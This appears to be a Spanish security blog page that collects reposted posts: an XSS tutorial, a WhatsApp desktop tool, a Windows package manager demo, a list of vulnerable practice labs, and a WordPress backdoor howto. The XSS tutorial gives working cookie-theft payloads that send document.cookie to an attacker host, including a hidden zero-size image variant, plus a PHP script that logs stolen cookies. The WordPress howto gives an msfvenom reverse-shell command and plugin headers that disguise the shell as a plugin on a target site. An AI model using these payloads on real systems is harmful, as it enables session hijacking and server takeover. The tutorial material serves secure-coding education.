viernes, 7 de agosto de 2015

Cruzando información, Cross-Site Scripting (XSS)

Si hay un ataque que me gusta ese es el Cross-Site Scripting (XSS). Y por qué me gusta tanto? porque es extremadamente simple y permite robar valiosísima información, y lo mejor de todo, es que está presente en casi todos los Web sites que andan dando vuelta!
A continuación voy a tratar de dar un gran pantallazo del XSS, junto con diferentes ejemplos.

ACLARACION: el artículo está dirigido a aquellos que quieran aprender programación web segura, gente dedicada a la seguridad que utiliza el hacking ético para descubrir problemas a solucionar y reportarlos. Para hacer este tipo de ataque deben contar con la aprobación del encargado de la web o quién corresponda.

Se asume que

Este artículo asume que el lector tiene conocimientos básicos de:
- HTML (sobre todo formularios)
- métodos HTTP GET y POST
- JavaScript
- (no excluyente) manejo de sesiones
- (no excluyente) php

Tener una idea de lo anteriormente citado ayudará al lector a comprender mejor los ataques, así como poder entender los ejemplos.


Por qué XSS y no CSS?

Muchos se preguntarán, si se llama Cross-Site Scripting, por qué lo abrevian XSS en lugar de CSS?
El origen de la abreviación es algo simpático. Como muchos sabrán, la abreviación CSS se utiliza para las hojas de estilo llamadas Cascading Style Sheets. Hacer que el ataque se abrevie de la misma manera generaría confusiones, así que se decidió cambiar la C por una X, lo cual congenia perfectamente con la palabra Cross =D


Qué es el XSS?

El XSS es un ataque que se aprovecha de la falta de filtrado de datos salientes. Básicamente el ataque trata sobre inyección de código HTML en alguna variable, la cual, luego de ser procesada por el servidor web, es devuelta dentro del HTML de la página original y ejecutada por el browser de la víctima.
Como siempre, un ejemplo es mejor en este tipo de explicaciones, así que vallamos a eso.
El ejemplo más clásico y tonto (aunque presente en muchos sites), es tener una página que muestra el valor de una variable ingresada por el usuario. Supongamos tener un script php como el siguiente:
  Usuario: <?php if(isset($_GET['user'])) print "<B>".$_GET['user']."</B>" ?>
  <FORM METHOD="GET" ACTION="">
    <INPUT TYPE="TEXT" SIZE="30" NAME="user" />
    <INPUT TYPE="SUBMIT" VALUE="ingresar" />
  </FORM>

Por si alguno no entiende php, les aclaro que el script es simple, lo único que hace es imprimir el valor de la variable ingresada en el formulario. El resultado de ejecutar el script es el siguiente:


En el funcionamiento normal, un usuario ingresaría su nombre de usuario (en el ejemplo, ingresé demasiadovivo), lo cual nos da el siguiente estado:


Hasta acá todo bien, nada fuera de lo ordinario. Pero momento... qué sucedería si en lugar de ingresar texto ordinario ingreso código HTML??? ya se lo están imaginando? pues si, el código que ingresemos quedará incrustrado en la página... que lindo...
Supongamos que en el campo de texto ingreso el código <SCRIPT>alert('XSS');</SCRIPT>, el resultado que obtendremos es el siguiente:


Oh si, lo que sucedió es que el código JavaScript quedó incrustado en la página, y el browser hizo su trabajo, el cual es ejecutarlo. Si hechamos una mirada al código de esta página encontraremos lo siguiente:
  <FORM ACTION="" METHOD="GET">
  Usuario: <B><SCRIPT>alert('XSS');</SCRIPT></B><FORM METHOD="GET" ACTION="">
  <INPUT TYPE="TEXT" SIZE="30" NAME="user" />
  <INPUT TYPE="SUBMIT" VALUE="ingresar" />
</FORM>

Este ejemplo es bien básico e inofensivo, pero sirve perfectamente para mostrar de qué trata el XSS. En las siguientes secciones explicaré los ataques que se pueden realizar usando XSS.


Cómo se puede usar el XSS?

En el ejemplo, el que interactúa con la página es el mismo usuario que recibe el HTML modificado. En un caso de ataque real, los participantes son dos, el atacante que arma el pedido, y la víctima que lo ejecuta.
Volviendo al ejemplo anterior, como se puede ver, los parámetros del formulario se envían con el método GET, esto es, van en la URL de la página. Lo que un atacante se encargaría de hacer es armar una URL que aproveche el XSS y enviársela al usuario para que la abra. En el ejemplo, si suponemos que el nombre del site es www.ejemplo.com, el atacante podría armar la URL http://www.ejemplo.com/xss.php?user=<SCRIPT>alert('XSS')%3B<%2FSCRIPT> y convencer a un usuario para que lo abra. En este caso, el usuario ejecutaría el script que abre el alert.
Como vemos, para que este ataque tenga éxito necesitamos de un factor extra: un usuario que abra la URL armada por el atacante. A este tipo de ataque se lo llama XSS reflejado (reflected). Pero ojo, este no es el único tipo de ataque XSS.

Otra forma de XSS es el llamado persistente. En éste ataque no necesitamos que el usuario abra una dada URL, sino que usamos una fea vulnerabilidad en el site para hacer que nuestro script quede incrustado en la página "para siempre" (de ahí el nombre). Nuevamente, me remito al ejemplo para explicar.
Supongamos que tenemos un guestbook, donde gente puede dejar su comentario acerca del site. Ahora, supongamos que nuestro guestbook es tan pobre que no valida lo que el usuario ingresa y simplemente guarda todo lo que se tipea. Si un visitante coloca código HTML dentro de su comentario, éste quedará incrustado en la página. Esto es lo mismo que sucedía antes, pero peor! ahora el código queda de forma PERMANENTE en el código de la página. Si otro usuario visita el guestbook ejecutará el código dejado por nuestro visitante malicioso.
Para demostrar el ataque, veamos el siguiente código:
  <B>Comentarios:</B><BR>
  <?php
  if(isset($_POST['comment']))
  {
    $f = fopen("guestbook.txt", "a");
    fwrite($f, $_POST['comment']."\n");
    fclose($f);
  }
  
  if($f = @fopen("guestbook.txt", "r"))
  {
    while(!feof($f))
    {
      $comment = fgets($f);
      print "<HR>".$comment."<BR>";
    }
    fclose($f);
  }  
  ?>
<FORM METHOD="POST" ACTION="">
  <TEXTAREA COLS="60" ROWS="10" NAME="comment"></TEXTAREA><BR>
  <INPUT TYPE="SUBMIT" VALUE="ingresar" />
</FORM>

Lo que hace el script php es usar el archivo guestbook.txt como medio para almacenar los comentarios. Si alguien deja un comentario lo almacena en ese archivo, luego lee de ese archivo todos los comentarios. Por simplicidad se asume que cada línea del archivo representa un comentario.
El guestbook con algunos comentarios podría verse de la siguiente forma:


Qué sucede si un usuario simpático nos deja el comentario "mira este XSS: <SCRIPT>alert('XSS');</SCRIPT>" (sin las comillas)?. Lo que sucederá es lo visto en la siguiente imagen:


Dado que el comentario se almacena en guestbook.txt, ahora todo el que visite la página ejecutará el script dejado por nuestro buen amigo. Si bien este tipo de aplicaciones web utilizan bases de datos en lugar de archivos de texto para almacenar los comentarios, el principio es el mismo. Esto es, si en la base de datos almacenamos todo lo que el usuario escribe y luego lo mostramos como tal, tendremos el mismo problema.


Logrando que el usuario ejecute lo que queremos

Como se pueden imaginar, el XSS persistente es mucho más riesgoso que el reflejado, dado que en el persistente el atacante no necesita que la víctima visite una URL armada especialmente, sino que basta con que la víctima visite la página afectada!

Por otro lado, hacer que una persona abra un link armado especialmente es mucho más fácil de lo que se imaginan. Para esto debemos hacer uso de nuestra amiga la ingeniería social, o bien usar un par de trucos.

El caso de la ingeniería social ya lo conocen, o se han enfrentado a el. Supongan que reciben un mail diciendo que visiten un dado link para reactivar su cuenta en www.ejemplo.com. Si ustedes tienen alguna cuenta en www.ejemplo.com, tal vez creerían que esto es cierto, sobre todo, si el link pertenece realmente al dominio www.ejemplo.com. El problema es que tal vez www.ejemplo.com tenga una falencia de XSS, y el atacante podría usar la siguiente url: www.ejemplo.com/renovarcuenta.php?user=<script>alert('xss');</script>. Ahora bien, ver que en el parámetro "user" figura el tag <script> puede resultar sospechoso para algunos, pero teniendo en cuenta las URLs kilométricas que se usan actualmente, tal vez ni vean el tag. Además existen técnicas de ofuscación como URL encoding, donde el mismo ejemplo quedaría de la siguiente forma: www.ejemplo.com%2frenovarcuenta.php%3Fuser%3D%3Cscript%3Ealert%28%27xss%27%29%3B%3C%2fscript%3E

Por supuesto que agregar un script con los tags <script> no es la única forma de realizar un ataque XSS, también es posible utilizar otros tags como IMG, DIV, IFRAME, STYLE, BODY, etc. Tal vez el más interesante de estos es el tag IMG. IMG se usa para agregar una imagen al código HTML. Cuando el browser encuentra el tag IMG, éste busca la imágen en el servidor que corresponda, según el argument SRC. Ahora, qué sucede si colocamos la siguiente etiquieta: <IMG SRC="javascript:alert('xss');"> Cuando el browser encuentre la etiqueta, éste ejecutará el código JavaScript... hermoso! Esto no se limita al tag IMG, pero es el ejemplo más común. Otra forma de utilizar este tag podrían ser: <img src="imagen.jpg" onload="javascript:alert('XSS');" /> Nuevamente, esto no se limita al tag IMG.

En muchos casos deberemos escapar algún tag para inyectar código. Por ejemplo, supongan el caso de un script que mantiene los datos ingresados por el usuario en un campo de texto. El código para hacer tal cosa sería algo como el siguiente:

<FORM ACTION="" METHOD="GET">
  <INPUT TYPE="TEXT" NAME="user" VALUE="<?php echo $_GET['user'] ?>" />
  <INPUT TYPE="SUBMIT" VALUE="set" />
</FORM>

En este caso, lo que escribamos dentro del campo de texto quedará dentro del valor (propiedad VALUE) del campo de texto. Así por ejemplo si colocamos el valor juan, el código quedará <input type="TEXT" name="user" value="juan"> con lo cual no hay problemas.

Pero nosotros queremos insertar código JS!, si colocamos el simple código citado anteriormente (<script>alert('XSS');</script>), el resultado será: <input type="TEXT" name="user" value="<script>alert('XSS');</script>">. Esto es, quedará todo dentro del campo de texto, lo mismo que sucede cuando ingresamos solamente la palabra juan.
Entonces??? cómo hacemos??? bueno, ingeniárnosla un poco. Qué es lo que no nos permite inyectar código? es el problema de estar encerrados en un tag. Para escapar esto, deberíamos ingresar algo como ">, luego nuestro código y a continuación escapar el resto del tag. Una forma simple de hacer esto es ingresar lo siguiente: "><SCRIPT>alert('XSS');</script><input type="HIDDEN" name="">
El resultado visto por el usuario, luego de ingresar ese código, será:
<input type="TEXT" name="user" value=""><script>alert('XSS');</script><input type="HIDDEN" name="">:
Con lo obtenido, el usuario ejecutará el alert y no verá diferencias en la página (a menos que mire el código).

En la realidad es muy probable que se encuentren con ejemplos donde hace falta escapar un tag. El problema se complica más cuando el script del lado del servidor escapea las comillas u otros valores. Nombrar todas las formas de escapar a estos problemas harían que el artículo sea interminable, además existen varias páginas dedicadas a esto, así que les dejo directamente los links. Páginas con ejemplos muy interesantes son:

http://ha.ckers.org/xss.html
http://htmlpurifier.org/live/smoketests/xssAttacks.php
http://h4k.in/xssinexcess


Poniéndonos serios

Hasta ahora nuestro ataque se basó en ejecutar un simple alert con un mensaje, pero en un ataque real, esto no nos serviría de mucho. Los objetivos más deseados son cookies y credenciales. También es posible realizar redirecciones a otras páginas, modificación de la página, keylogging usando ajax, XSS proxies (de lo cual hablaré más adelante) o incluso ejecución de código malicioso (debido a fallas en el browser).

De los posibles ataques, el que me resulta más interesante es el robo de cookies, debido a lo que implica. Las cookies alojan variables que son usadas para mantener la sesión de un usuario, esto es, el servidor recuerda quién es cada usuario. Cuando un usuario se autentica (con el clásico login-password) el servidor establece un valor random en una variable alojada en una cookie. Esa cookie luego es usada por el servidor para reconocer al usuario y no tener que pedir las credenciales continuamente. Robar una cookie implica obtener la autenticación de un usuario sin conocer las credenciales!

Ahora, cómo hacemos esto? fácil. Así como antes colocábamos un simple alert de JS en el código de la página, nada nos impide colocar la siguiente sentencia:
<script>
document.location="http://www.malomalo.com/stealer.php?cookie=" + document.cookie;
</script>
El código que acabo de copiar hace que el browser cargue una nueva página (www.malomalo.com/stealer.php) enviandole como parámetro la cookie de la página actual!, es decir, le estamos enviando al atacante dueño de evil.com la cookie de la página donde estamos logueados.
Vallamos al ejemplo phpeano. Supongamos que tenemos la siguiente página con autenticación:
<?php  session_start(); ?>
  buscar:
  <FORM METHOD="GET" ACTION="">
    <INPUT TYPE="TEXT" SIZE="30" NAME="search" />
    <INPUT TYPE="SUBMIT" VALUE="ingresar" />
  </FORM>
  <?php if(isset($_GET['search'])) print "resultados con la palabra <B>".$_GET['search']."</B><BR><BR>" ?>
    <?php
      if(isset($_POST['logout']))
      {
 session_destroy();
 unset($_SESSION['user']);
      }
      function printform()
      {
 echo '<FORM ACTION="" METHOD="POST">
   user: <INPUT NAME="user" TYPE="TEXT" SIZE="20" /><BR>
   pass: <INPUT NAME="pass" TYPE="PASSWORD" SIZE="20" /><BR>
   <INPUT TYPE="SUBMIT" VALUE="login" />
 </FORM>';
      }
      function printhello()
      {
 print "hola usuario: ".$_SESSION['user'];
 print '<FORM ACTION="" METHOD="POST"><INPUT NAME="logout" TYPE="SUBMIT" VALUE="logout" /></FORM>';
      }
      
      if(!isset($_SESSION['user']))
      {
 if(isset($_POST['user']) && isset($_POST['pass']))
 {
   if(($_POST['user'] == "demasiadovivo") && ($_POST['pass'] == "123456"))
   {
     $_SESSION['user'] = "demasiadovivo";
     printhello();
   }
   else
   {
     echo "el usuario ".$_POST['user']." no existe";
     printform();
   }
 }
 else
   printform(); 
      }
      else
      { 
 printhello();
      }
    ?>

El scriptcito (para nada optimizado) tiene un buscador para ejemplificar el XSS, pero que en realidad no busca nada, y tiene un login, con la autenticación incrustada en el código (osea, el único usuario válido es demasiadovivo pass 123456). La idea es que sea simple para entender el ejemplo.
Una vez que el usuario se autentica, el script guarda el nombre de usuario en una variable de sesión $_SESSION['user']. El servidor envía de forma transparente un ID de sesión, el cual utiliza para reconocer las variables del usuario. Todo este maneje es transparente tanto para el usuario como para el programador, lo único que va en la cookie es el ID de sesión.

El objetivo del atacante en este caso será obtener la cookie con el ID de sesión y reutilizarlo para aparecer autenticado en la página sin proveer el usuario y password. Para esto, aplicando un ataque XSS, el atacante podría armar la siguiente URL y enviarsela a un usuario desprevenido:
http://www.buenobueno.com/xss-authentication.php?search=<script>document.location="http://www.malomalo.com/stealer.php?cookie="+document.cookie;</script>:
donde www.buenobueno.com es el site con la vulnerabilidad XSS y www.malomalo.com es un site del atacante que recibe la cookie.
Para obtener la cookie, el site del atacante podría tener un código como el siguiente:
<?php
if($cookie = $_GET["cookie"]))
{
  $f = fopen('cookies.txt', 'a');
  fwrite($f, $cookie . "\n\n");
}
?>

De esta forma, cada vez que malomalo reciba una cookie, este la almacenará en un archivo. El código se podría mejorar añadiendo la dirección de la página de la cual robamos la cookie, así si tenemos varias páginas hackeadas, podríamos saber a cual pertenece la cookie.
Cabe aclarar que las cookies no son eternas y expiran luego de un tiempo, o dejan de ser válidas una vez que se ejecuta un session_destroy(), lo cual suele hacerse cuando el usuario aprieta el boton logout. Por ello, el atacante tendrá una ventana de tiempo limitada para utilizar la cookie, pero esto no es problema, proque al código anterior podríamos añadir que el programa envíe un mail al atacante cada vez que recibe una cookie.
Un problema con el ataque anterior es que el usuario notará la redirección, debido a que el browser ahora apunta a http://www.malomalo.com/stealer.php?cookie=lacookie. Por suerte, existen formas de evitar esto. Si queremos que el usuario siga viendo la página que estaba visitando y que la cookie se envíe de forma transparente, en lugar de insertar el código <script>document.location="http://www.malomalo.com/stealer.php?cookie="+document.cookie;</script> podríamos insertar este otro código:
<SCRIPT>document.write('<IMG WIDTH="0" HEIGHT="0" SRC="http://localhost/stealer.php?cookie='+document.cookie+'"')</SCRIPT>
Con el código anterior, el usuario no notará nada extraño a simple vista. Utilizamos el tag IMG para cargar el script del atacante con la cookie robada, y dado que la imagen es de tamaño 0, el browser no la muestra! Esto es mucho mejor que antes, dado que no necesitamos redirigir el browser a la página maligna.
Por supuesto que existen otras formas de realizar este mismo ataque, éste es sólo un ejemplo.


Y esto cómo sigue?

Debido a la cantidad de información que tengo sobre XSS y dado que es un tema que me gusta mucho y es muy importante hoy en día, decidí partir el artículo en partes. Esta primera parte fue bastante larga, pero creo que si la partía el tema no quedaba completo.
Lo que vendrá en las siguientes partes es explicar XSS avanzado (CSRF, XSS Tunneling, XSS con POST) y métodos de mitigación en distintos lenguajes de programación, pero si surge algo más, tal vez se extienda a otros artículos. Así que stay tuned!


Algunas referencias

Cross Site Scripting Techniques and mitigation
Cross Site Scripting (XSS) FAQ
HTML Code Injection and Cross Site Scripting
Cross Site Scripting wiki
Principales vulnerabilidades en aplicaciones Web - presentación Christian Martorella

Fuente: http://itfreekzone.blogspot.com/2009/12/cruzando-informacion-cross-site.html

ThatsaPC, utiliza WhatsApp desde el escritorio de Gnu/Linux

El éxito que ha tenido WhatsApp desde sus comienzos ha sido realmente arrollador y como ya hemos visto en el pasado han forzado a las operadoras a modificar sus planes de y a lanzar su propia aplicación de mensajería para hacer frente a este fenómeno y no quedar fuera de el. Así las cosas no iba a pasar mucho tiempo hasta que llegara un aplicación de para poder enviar mensajes a WhatsApp desde el , para poder suplir el faltante el whatsapp que tal como sus desarrolladores han avisado no va a ser resuelto.

Por ello conocimos hace un mes atrás a WebsApp y hoy queremos presentar otra alternativa llamada ThatsaPC, que se encuentra en fase alpha y con la cual podemos enviar mensajes a WhatsApp desde el escritorio de Windows y Linux, y que ya está disponible en 32 bits en el caso del sistema operativo de , y en 32 y 64 bits en el sistema operativo del pingüino.



A pesar de lo reciente de su lanzamiento parece que los desarrolladores están muy activos y no sólo están agregando características de forma continua sino que prometen unas cuantas más para el mediano plazo, y entre lo que si tenemos disponible en este momento podemos mencionar su sencilla y rápida interfaz que nos permite conectarnos y añadir , el soporte para modificar nuestro nick y estado, la posibilidad de guardar los contactos en el ordenador para no tener que importarlos cada vez que nos conectamos y el hecho de poder mantener conversaciones individuales.

Otro aspecto interesante de ThatsaPC es que se trata de una aplicación portable por lo cual simplemente debemos descargarla desde su sitio y ejecutarla sin proceso de alguno, y al momento de iniciar la sesión debemos seleccionar la opción donde indicamos que ya contamos con una cuenta de WhatsApp, tras lo cual debemos añadir nuestro nombre, el prefijo telefónico de nuestro país, el número de teléfono y el IMEI de nuestro teléfono, esto último imprescindible para que WhatsApp se crea que estamos utilizando su desde un teléfono.

En el siguiente vídeo podemos apreciar un poco el funcionamiento general de ThatsaPC:


Demostracion:







ThatsaPC es una herramienta que te permite usar tu cuenta de Whatsapp con el ordenador (sin necesidad de utilizar un emulador de Android).

Usted puede conseguir enlaces de descarga aquí:
http://adf.ly/CEdzJ

Sin embargo, leer primero:

En este momento no hay más que Windows versión 64 cargado. Vamos a escribir una entrada cada vez que pongamos el resto.


Usuarios de Windows
Versión de Windows está empaquetado en un archivo zip. Es necesario extraer la carpeta que está dentro con el fin de usarlo. Entonces usted necesita para ejecutar Login.exe.
Es posible que usted necesita para instalar Windows VC ++ Redist:
Si usted no sabe que para descargar, obtener VSU1 \ vcredist_x86.exe   si se utiliza 32 bits, o VSU1 \ vcredist_x64.exe  si se utiliza 64 bits.
Los usuarios de Linux
Versión para Linux no está lleno. Usted tiene python y código javascript. Así, los usuarios necesitarán:
  • Haber instalado Python2.7
  • Haber instalado PyQt para Python2.7
Y entonces usted puede hacer:
  1. Ejecutar "python Login.py" en un terminal.
  2. Programa de paquete utilizando la escritura setup.py.

Características
Las características de la herramienta:
  • Conversación individuo regular.
  • Interfaz rápida para conectar y agregar contactos.
  • El uso de nick.
  • Cuentas Android funciona como un encanto. 
  • compatibilidad cuenta iPhone.
Y estamos trabajando para agregar:
  • Estabilidad
  • Apoyo charset Unicode completo.
  • Enviar imágenes, videos, sonidos y lugares.
  • Añadir opciones.
  • Traducción de idiomas.
  • Mantener contactos en el ordenador para evitar la necesidad de añadir cada vez.
  • Editar y borrar información de contactos.
  • Visualice imágenes, videos, y lugares.
Errores
Si observa un error, puede escribir un tema en  bitbucket .

La herramienta utiliza su número de teléfono y el IMEI conectarse. Así advertimos: PROTEGEMOS TU IMEI y Mac. UN ROBO IMEI O MAC SIGNIFICA cuenta robada WHATSAPP.

Fuente: http://pentest-angelwhite.blogspot.com/2015/07/thatsapc-utiliza-whatsapp-desde-el.html

OneGet y Chocolatey, un "apt-get" para Windows

Una de las novedades de Windows 10 es la inclusión de OneGet, un interfaz de código abierto para sistemas de administración de paquetes con el que podemos:

- administrar una lista de repositorios de software en el que los paquetes se pueden buscar, adquirir e instalar
- buscar y filtrar repositorios para encontrar los paquetes que necesitamos
- instalar y desinstalar paquetes de una o más repositorios con un solo comando PowerShell

Lo bueno es que incluyen directamente un plugin para Chocolatey, un administrador de paquetes parecido a apt-get o yum pero para Windows, también de código abierto y que podemos usar incluso en Windows 7 y Windows 2008 R2.

Veamos un ejemplo instalando VLC en Windows 10:


C:\>  get-packageprovider -name chocolatey

The provider 'chocolatey v2.8.5.130' is not installed.
chocolatey may be manually downloaded from https://oneget.org/ChocolateyPr30.exe and installed.
Would you like PackageManagement to automatically download and install 'chocolatey'?

[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): y

Name                     Version          
----                     -------          
Chocolatey               2.8.5.130        

C:\> install-package vlc

The provider 'nuget v2.8.5.127' is not installed.
nuget may be manually downloaded from https://oneget.org/nuget-anycpu-2.8.5.127.exe and installed.
Would you like PackageManagement to automatically download and install 'nuget' now?
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): y

The package(s) come from a package source that is not marked as trusted.
Are you sure you want to install software from 'chocolatey'?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): y

Name                           Version          Source           Summary
----                           -------          ------           -------
vlc                            2.2.1.20150630   chocolatey       VLC Media Player

Fuentes:
- Github OneGet: https://github.com/oneget/oneget
- cmdlets OneGet: https://github.com/OneGet/oneget/wiki/cmdlets
- Chocolatey: https://chocolatey.org/


Fuente:http://www.hackplayers.com/2015/08/oneget-y-chocolatey-un-apt-get-para-windows.html

martes, 4 de agosto de 2015

Pentest lab vulnerable servers-applications list

Buenos días.

Hace poco en una entrada de hackplayers hicieron una buena recopilación de información para pruebas de intrusión catalogando entre aplicaciones web, sistemas operativos entre otros, aquí otra mas:

HackMe
Hack.me is a FREE, community based project powered by eLearnSecurity. The community can build, host and share vulnerable web application code for educational and research purposes.
It aims to be the largest collection of “runnable” vulnerable web applications, code samples and CMS’s online. The platform is available without any restriction to any party interested in Web Application Security: students, universities, researchers, penetration testers and web developers.

pentesterlab.com
PentesterLab is an easy and great way to learn penetration testing.PentesterLab provides vulnerable systems that can be used to test and understand vulnerabilities. Just decide what course you want to follow, download the course and start learning. You can easily run the course using VMware or Virtualbox no internet access needed.
pentesterlab.com

bWAPP
bWAPP or a buggy web application is a free and open source web application build to allow security enthusiasts, students and developers to better secure web applications. bWAPP prepares to conduct successful penetration testing and ethical hacking projects. It includes all vulnerabilities from the OWASP Top 10 project and is for educational purposes only.

OWASP Bricks!
Bricks is a web application security learning platform built on PHP and MySQL. The project focuses on variations of commonly seen application security issues. Each ‘Brick’ has some sort of security issue which can be leveraged manually or using automated software tools. The mission is to ‘Break the Bricks’ and thus learn the various aspects of web application security.

GameOver
Project GameOver was started with the objective of training and educating newbies about the basics of web security and educate them about the common web attacks and help them understand how they work.
https://sourceforge.net/projects/null-gameover/

UltimateLAMP
UltimateLAMP is a Ubuntu VM running vulnerable services and containing weak accounts.
The UltimateLAMP VM runs the following services:Postfix, Apache, MySQL, WordPress, TextPattern, Seredipity, MediaWiki, TikiWiki, PHP, Gallery, Moodle, PHPWebSite, Joomla, eGroupWare, Drupal, Php Bulletin Board, Sugar CRM, Owl, WebCalendar, Dot project, PhpAdsNew, Bugzilla, OsCommerce, ZenCart, PhphMyAdmin, Webmin,Mutillidae 1.5 (OWASP Top 10 Vulns)

webgoat
WebGoat is a deliberately insecure J2EE web application maintained by OWASP designed to teach web application security lessons. In each lesson, users must demonstrate their understanding of a security issue by exploiting a real vulnerability in the WebGoat application. For example, in one of the lessons the user must use SQL injection to steal fake credit card numbers. The application is a realistic teaching environment, providing users with hints and code to further explain the lesson.
http://www.owasp.org

Holynix
Similar to the de-ice Cd’s and pWnOS, holynix is an ubuntu server vmware image that was deliberately built to have security holes for the purposes of penetration testing. More of an obstacle course than a real world example.
http://pynstrom.net/index.php?page=holynix.php

WackoPicko
WackoPicko is a website that contains known vulnerabilities. It was first used for the paper Why Johnny Can’t Pentest: An Analysis of Black-box Web Vulnerability Scanners found: http://cs.ucsb.edu/~adoupe/static/black-box-scanners-dimva2010.pdf
https://github.com/adamdoupe/WackoPicko

De-ICE PenTest LiveCDs
The PenTest LiveCDs are the creation of Thomas Wilhelm, who was transferred to a penetration test team at the company he worked for. Needing to learn as much about penetration testing as quickly as possible, Thomas began looking for both tools and targets. He found a number of tools, but no usable targets to practice against. Eventually, in an attempt to narrow the learning gap, Thomas created PenTest scenarios using LiveCDs.
http://de-ice.net/hackerpedia/index.php/De-ICE.net_PenTest_Disks

Metasploitable
Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql.
https://sourceforge.net/projects/metasploitable/

Owaspbwa
Open Web Application Security Project (OWASP) Broken Web Applications Project, a collection of vulnerable web applications.
http://code.google.com/p/owaspbwa/

Web Security Dojo
A free open-source self-contained training environment for Web Application Security penetration testing. Tools + Targets = Dojo
http://www.mavensecurity.com/web_security_dojo/

Lampsecurity
LAMPSecurity training is designed to be a series of vunlerable virtual machine images along with complementary documentation designed to teach linux,apache,php,mysql security.
http://sourceforge.net/projects/lampsecurity/files/

Damn Vulnerable Web App (DVWA)
Damn Vulnerable Web App is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.
www.dvwa.co.uk

Hacking-Lab
This is the Hacking-Lab LiveCD project. It is currently in beta stadium. The live-cd is a standardized client environment for solving our Hacking-Lab wargame challenges from remote.
http://www.hacking-lab.com/hl_livecd/

Moth
Moth is a VMware image with a set of vulnerable Web Applications and scripts, that you may use for:
http://www.bonsai-sec.com/en/research/moth.php

Exploit kb vulnerable web app
exploit.co.il Vulnerable Web app designed as a learning platform to test various SQL injection Techniques This is a fully functional web site with a content management system based on fckeditor. You can download it as source code or a pre configured.
http://sourceforge.net/projects/exploitcoilvuln/

Gruyere
This codelab shows how web application vulnerabilities can be exploited and how to defend against these attacks. The best way to learn things is by doing, so you’ll get a chance to do some real penetration testing, actually exploiting a real application. Specifically, you’ll learn the following:
How an application can be attacked using common web security vulnerabilities, like cross-site scripting vulnerabilities (XSS) and cross-site request forgery (XSRF). How to find, fix, and avoid these common vulnerabilities and other bugs that have a security impact, such as denial-of-service, information disclosure, or remote code execution. To get the most out of this lab, you should have some familiarity with how a web application works (e.g., general knowledge of HTML, templates, cookies, AJAX, etc.).

Damn Vulnerable Linux (DVL)
Damn Vulnerable Linux is everything a good Linux distribution isn’t. Its developers have spent hours stuffing it with broken, ill-configured, outdated, and exploitable software that makes it vulnerable to attacks. DVL isn’t built to run on your desktop – it’s a learning tool for security students.
http://www.damnvulnerablelinux.org

pWnOS
pWnOS is on a “VM Image”, that creates a target on which to practice penetration testing; with the “end goal” is to get root. It was designed to practice using exploits, with multiple entry points
http://www.backtrack-linux.org/forums/backtrack-videos/2748-%5Bvideo%5D-attacking-pwnos.html
http://www.krash.in/bond00/pWnOS%20v1.0.zip

Virtual Hacking Lab
A mirror of deliberately insecure applications and old softwares with known vulnerabilities. Used for proof-of-concept /security training/learning purposes. Available in either virtual images or live iso or standalone formats.
http://sourceforge.net/projects/virtualhacking/files/

Badstore
Badstore.net is dedicated to helping you understand how hackers prey on Web application vulnerabilities, and to showing you how to reduce your exposure.
http://www.badstore.net/

BodgeIt Store
The BodgeIt Store is a vulnerable web application which is currently aimed at people who are new to pen testing.
http://code.google.com/p/bodgeit/

Hackademic Challenges
The OWASP Hackademic Challenges , is an open source project that can be used to test and improve one’s knowledge of information system and web application security. The OWASP Hackademic Challenges implement realistic scenarios with known vulnerabilities in a safe, controllable environment. Users can attempt to discover and exploit these vulnerabilities in order to learn important concepts of information security through the attacker’s perspective.
www.hackademic.eu

OWASP Vicnum Project
A flexible web app showing vulnerabilities such as cross site scripting, sql injections, and session management issues. Helpful to IT auditors honing web security skills and setting up ‘capture the flag’ . Play the game at http://vicnum.ciphertechs.com

Stanford SecuriBench
Stanford SecuriBench is a set of open source real-life programs to be used as a testing ground for static and dynamic security tools. Release .91a focuses on Web-based applications written in Java.
http://suif.stanford.edu/~livshits/securibench/

Kioptrix
This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player).
The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
http://www.kioptrix.com/blog/?page_id=135

hackxor
Hackxor is a webapp hacking game where players must locate and exploit vulnerabilities to progress through the story. Think WebGoat but with a plot and a focus on realism&difficulty. Contains XSS, CSRF, SQLi, ReDoS, DOR, command injection, etc
http://hackxor.sourceforge.net

Project GameOver:
Project GameOver was started with the objective of training and educating newbies about the basics of web security and educate them about the common web attacks and help them understand how they work. It is collection of various vulnerable web applications, designed for the purpose of learning web penetration testing. We have included some of the above mentioned deliberately vulnerable websites.
http://null.co.in/2012/06/14/gameover-web-pentest-learning-platform/

Others:

http://demo.testfire.net/
http://code.google.com/p/bodgeit/
http://ghostinthelab.wordpress.com/2011/09/06/hackademic-rtb1-root-this-box/
http://ghostinthelab.wordpress.com/2011/09/06/hackademic-rtb2-%E2%80%93-root-this-box/
http://www.amanhardikar.com/mindmaps/PracticewithURLs.html
http://null.co.in/2012/06/14/gameover-web-pentest-learning-platform/
http://exploit-exercises.com/

This article is translated to Serbo-Croatian language by Jovana Milutinovich from Webhostinggeeks.com.

Fuente: http://bailey.st/blog/2010/09/14/pentest-lab-vulnerable-servers-applications-list/


Howto: create backdoor in Wordpress (Como crear un acceso "trasero" en wordpress)

1. Admin access to wordpress

2. Create a php reverse shell using msfvenom and name the file shell.php: msfvenom -p php/meterpreter_reverse_tcp LHOST=Your IP LPORT=Your Port -f raw > shell.php

3. Add comments on the top of the shell.php to make it a valid plugin and compress it in zip format


<?php
/*
*     Plugin Name: My Shell
*     Plugin URI: https://github.com/r0rshark/wordpress-shell
*     Description: Execute Commands as the webserver you are serving wordpress with
*     Author: r0rshark
*     Version: 0.2
*     Author URI: https://r0rshark.github.io
*/
 
4. Setup a listener at your ip and port used in the msfvenom
 
5. Execute the reverse shell by visiting www.target.com/wp-content/plugins/shell/shell.php 


Source: https://r0rshark.github.io/2015/07/30/google/

Fuente: http://www.r00tsec.com/2015/08/howto-create-backdoor-in-wordpress.html

lunes, 3 de agosto de 2015

Bettercap, un completo framework para hacer MITM portable y modular

